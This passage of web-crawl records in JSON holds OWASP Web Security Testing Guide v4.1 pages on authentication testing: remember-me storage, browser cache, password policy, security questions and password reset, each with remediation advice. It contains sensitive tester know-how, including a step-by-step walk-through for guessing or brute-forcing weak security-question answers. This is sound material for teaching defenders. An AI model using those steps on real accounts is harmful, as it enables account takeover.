"https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Vulnerable Remember Password"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Vulnerable Remember Password\n\n| ID |\n| --- |\n| WSTG-ATHN-05 |\n\n## Summary\n\nCredentials are the most widely used authentication technology. Due to such a wide usage of username-password pairs, users are no longer able to properly handle their credentials across the multitude of used applications.\n\nIn order to assist users with their credentials, multiple technologies surfaced:\n\n- Applications provide a *remember me* functionality that allows the user to stay authenticated for long periods of time, without asking the user again for their credentials.\n- Password Managers - including browser password managers - that allow the user to store their credentials in a secure manner and later on inject them in user-forms without any user intervention.\n\n## How to Test\n\nAs these methods provide a better user experience and allow the user to forget all about their credentials, they increase the attack surface area. Some applications:\n\n- Store the credentials in an encoded fashion in the browser’s storage mechanisms, which can be verified by following the [web storage testing scenario](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/12-Testing_Browser_Storage) and going through the [session analysis](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema#session_analysis) scenarios. Credentials shouldn’t be stored in any way in the client-side application, and should be substitued by tokens generated from the server side.\n- Automatically inject the user’s credentials that can be abused by:\n - [ClickJacking](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking) attacks.\n - [CSRF](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) attacks.\n- Tokens should be analyzed in terms of token-lifetime, where some tokens never expire and put the users in danger if those tokens ever get stolen. Make sure to follow the [session timeout](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout) testing scenario.\n\n## Remediation\n\n- Follow [session management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) good practices.\n- Ensure that no credentials are stored in clear text or are easily retrievable in encoded or encrypted forms in browser storage mechanisms; they should be stored on the server side and follow [password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) good practices.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2851, "slov": 329, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:19", "sha256": "cb3a943f5265503d2be6b334e63a598ed35a1f538078fb63b94f94b4a3de7c56", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Browser Cache Weaknesses"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Browser History"}, {"uroven": 3, "text": "Browser Cache"}, {"uroven": 4, "text": "Reviewing Cached Information"}, {"uroven": 4, "text": "Check Handling for Mobile Browsers"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Browser Cache Weaknesses\n\n| ID |\n| --- |\n| WSTG-ATHN-06 |\n\n## Summary\n\nIn this phase the tester checks that the application correctly instructs the browser to not retain sensitive data.\n\nBrowsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn’t need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser’s cache or by simply pressing the browser’s **Back** button.\n\n## Test Objectives\n\nThe objective of this test is to evaluate whether or not the application stores sensitive information in client accessible locations or in a manner which does not prevent their access or review outside of an authenticated and authorized session. Specifically, this tests whether sensitive information is stored:\n\n- On disk or in memory, where it might be retrieved after intended use.\n- In such a way that using the **Back** button may allow a user (or attacker) to return to a previously displayed screen.\n\n## How to Test\n\n### Browser History\n\nTechnically, the **Back** button is a history and not a cache (see [https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13](https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13)). The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information.\n\nThe first and simplest test consists of entering sensitive information into the application and logging out. Then the tester clicks the **Back** button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.\n\nIf by pressing the **Back** button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.\n\nAuthentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.\n\nThe **Back** button can be stopped from showing sensitive data. This can be done by:\n\n- Delivering the page over HTTPS.\n- Setting `Cache-Control: must-revalidate`\n\n### Browser Cache\n\nHere testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as OWASP ZAP) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers with the following directives:\n\n- `Cache-Control: no-cache, no-store`\n- `Expires: 0`\n- `Pragma: no-cache`\n\nThese directives are generally robust, although additional flags may be necessary for the `Cache-Control` header in order to better prevent persistently linked files on the file system. These include:\n\n- `Cache-Control: must-revalidate, max-age=0, s-maxage=0`\n\n```\n HTTP/1.1:\n Cache-Control: no-cache\n```\n\n```\n HTTP/1.0:\n Pragma: no-cache\n Expires: \n```\n\nFor instance, if testers are testing an e-commerce application, they should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the `no-cache` directive. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache.\n\nThe exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:\n\n- Mozilla Firefox:\n - Unix/Linux: `~/.cache/mozilla/firefox/`\n - Windows: `C:\\Users\\\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\\\Cache2\\`\n- Internet Explorer:\n - `C:\\Users\\\\AppData\\Local\\Microsoft\\Windows\\INetCache\\`\n- Chrome:\n - Windows: `C:\\Users\\\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache`\n - Unix/Linux: `~/.cache/google-chrome`\n\n#### Reviewing Cached Information\n\nFirefox provides functionality for viewing cached information, which may be to your benefit as a tester. Of course the industry has also produced various extensions, and external apps which you may prefer or need for Chrome, Internet Explorer, or Edge.\n\nCache details are also available via developer tools in most modern browsers, such as [Firefox](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector#Cache_Storage), [Chrome](https://developers.google.com/web/tools/chrome-devtools/storage/cache), and Edge. With Firefox it is also possible to use the URL `about:cache` to check cache details.\n\n#### Check Handling for Mobile Browsers\n\nHandling of cache directives may be completely different for mobile browsers. Therefore, testers should start a new browsing session with clean caches and take advantage of features like Chrome’s [Device Mode](https://developers.google.com/web/tools/chrome-devtools/device-mode) or Firefox’s [Responsive Design Mode](https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode) to re-test or separately test the concepts outlined above.\n\nAdditionally, personal proxies such as ZAP and Burp Suite allow the tester to specify which `User-Agent` should be sent by their spiders/crawlers. This could be set to match a mobile browser `User-Agent` string and used to see which caching directives are sent by the application being tested.\n\n### Gray-Box Testing\n\nThe methodology for testing is equivalent to the black-box case, as in both scenarios testers have full access to the server response headers and to the HTML code. However, with gray-box testing, the tester may have access to account credentials that will allow them to test sensitive pages that are accessible only to authenticated users.\n\n## Tools\n\n- [OWASP Zed Attack Proxy](https://www.zaproxy.org)\n\n## References\n\n### Whitepapers\n\n- [Caching in HTTP](https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6582, "slov": 934, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:20", "sha256": "a6aa474e37ea9aa942d3ceb96f8dd01d1ce6b2666b6cb1b72d6537356f1190b8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html", "https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector", "https://developers.google.com/web/tools/chrome-devtools/storage/cache", "https://developers.google.com/web/tools/chrome-devtools/device-mode", "https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak Password Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak Password Policy\n\n| ID |\n| --- |\n| WSTG-ATHN-07 |\n\n## Summary\n\nThe most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: `123456`, `password` and `qwerty`.\n\n## Test Objectives\n\nDetermine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.\n\n## How to Test\n\n1. What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?\n2. How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.\n3. When must a user change their password?\n - Both [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecretver) and [NCSC](https://www.ncsc.gov.uk/collection/passwords/updating-your-approach#PasswordGuidance:UpdatingYourApproach-Don'tenforceregularpasswordexpiry) recommend **against** forcing regular password expiry, although it may be required by standards such as PCI DSS.\n4. How often can a user reuse a password? Does the application maintain a history of the user’s previous used 8 passwords?\n5. How different must the next password be from the last password?\n6. Is the user prevented from using his username or other account information (such as first or last name) in the password?\n7. What are the minimum and maximum password lengths that can be set, and are they appropriate for the sensitivity of the account and application?\n8. Is it possible set common passwords such as `Password1` or `123456` ?\n\n## References\n\n- [Brute Force Attacks](https://owasp.org/www-community/attacks/Brute_force_attack)\n\n## Remediation\n\nTo mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging; although ideally both of them should be implemented.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2702, "slov": 384, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:21", "sha256": "0036e09aba82811891dd867e0d27736691f2b6a6b60c366e7d98427bfbad5a1b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://www.ncsc.gov.uk/collection/passwords/updating-your-approach", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak Security Question Answer"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Pre-generated Questions"}, {"uroven": 3, "text": "Self-generated Questions"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Weak Pre-generated Questions"}, {"uroven": 3, "text": "Testing for Weak Self-Generated Questions"}, {"uroven": 3, "text": "Testing for Brute-forcible Answers"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak Security Question Answer\n\n| ID |\n| --- |\n| WSTG-ATHN-08 |\n\n## Summary\n\nOften called “secret” questions and answers, security questions and answers are often used to recover forgotten passwords (see [Testing for weak password change or reset functionalities](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities), or as extra security on top of the password.\n\nThey are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities.Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.\nSecurity questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private.\n\n### Pre-generated Questions\n\nThe majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example:\n\n- The answers may be known to family members or close friends of the user, e.g. “What is your mother’s maiden name?”, “What is your date of birth?”\n- The answers may be easily guessable, e.g. “What is your favorite color?”, “What is your favorite baseball team?”\n- The answers may be brute forcible, e.g. “What is the first name of your favorite high school teacher?” - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted.\n- The answers may be publicly discoverable, e.g. “What is your favorite movie?” - the answer may easily be found on the user’s social media profile page.\n\n### Self-generated Questions\n\nThe problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:\n\n- “What is 1+1?”\n- “What is your username?”\n- “My password is S3cur ty!”\n\n## How to Test\n\n### Testing for Weak Pre-generated Questions\n\nTry to obtain a list of security questions by creating a new account or by following the “I don’t remember my password”-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).\n\n### Testing for Weak Self-Generated Questions\n\nTry to create security questions by creating a new account or by configuring your existing account’s password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.\n\n### Testing for Brute-forcible Answers\n\nUse the methods described in [Testing for Weak lock out mechanism](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism) to determine if a number of incorrectly supplied security answers trigger a lockout mechanism.\n\nThe first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions.\n\nThe next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a step-by-step walk-through of exploiting a security question scheme:\n\n- Does the application allow the end-user to choose the question that needs to be answered? If so, focus on questions which have:\n - A “public” answer; for example, something that could be find with a simple search-engine query.\n - A factual answer such as a “first school” or other facts which can be looked up.\n - Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely.\n- Determine how many guesses you have if possible.\n - Does the password reset allow unlimited attempts?\n - Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users.\n - Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers.\n\nThe key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.\n\n## References\n\n- [The Curse of the Secret Question](https://www.schneier.com/essay-081.html)\n- [The OWASP Security Questions Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6419, "slov": 951, "odkazu": 177, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:22", "sha256": "8f9a9d16e0d5d17cf559f630870e438fb31aeea7064623aa1a0def3b7f9fb622", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.schneier.com/essay-081.html", "https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak Password Change or Reset Functionalities"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Test Password Reset"}, {"uroven": 3, "text": "Test Password Change"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak Password Change or Reset Functionalities\n\n| ID |\n| --- |\n| WSTG-ATHN-09 |\n\n## Summary\n\nThe password change and reset function of an application is a self-service password change or reset mechanism for users. This self-service mechanism allows users to quickly change or reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plain text or in a decryptable format.\n\n## Test Objectives\n\n1. Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.\n2. Determine the resistance of the passwords reset functionality against guessing or bypassing.\n\n## How to Test\n\nFor both password change and password reset it is important to check:\n\n1. if users, other than administrators, can change or reset passwords for accounts other than their own.\n2. if users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.\n3. if the password change or reset process is vulnerable to [CSRF](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) .\n\n### Test Password Reset\n\nIn addition to the previous checks it is important to verify the following:\n\n- What information is required to reset the password? The first step is to check whether secret questions are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security.\nOn the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [Testing for Weak security question/answer](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer) paragraph of this guide.\n- How are reset passwords communicated to the user?\nThe most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last log in the victim would not know that their account has been compromised.\nA less insecure scenario is if the password reset tool forces the user to immediately change their password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out. The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application show this information) but also to compromise that email account in order to obtain the temporary password or the password reset link.\n- Are reset passwords generated randomly?\nThe most insecure scenario here is if the application sends or visualizes the old password in clear text because this means that passwords are not stored in a hashed form, which is a security issue in itself. The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.\n- Is the reset password functionality requesting confirmation before changing the password?\nTo limit denial-of-service attacks the application should email a link to the user with a random token, and only if the user visits the link then the reset procedure is completed. This ensures that the current password will still be valid until the reset has been confirmed.\n\n### Test Password Change\n\nIn addition to the previous test it is important to verify:\n\n- Is the old password requested to complete the change? The most insecure scenario here is if the application permits the change of the password without requesting the current password. Indeed if an attacker is able to take control of a valid session they could easily change the victim’s password.\nSee also [Testing for Weak password policy](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy) paragraph of this guide.\n\n## References\n\n- [OWASP Forgot Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n## Remediation\n\nThe password change or reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation screens during the process.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4969, "slov": 740, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:23", "sha256": "8be8248049cf016062c458203f2b5da7a86387ea3f41b542fbd78d805b08077b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weaker Authentication in Alternative Channel"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, 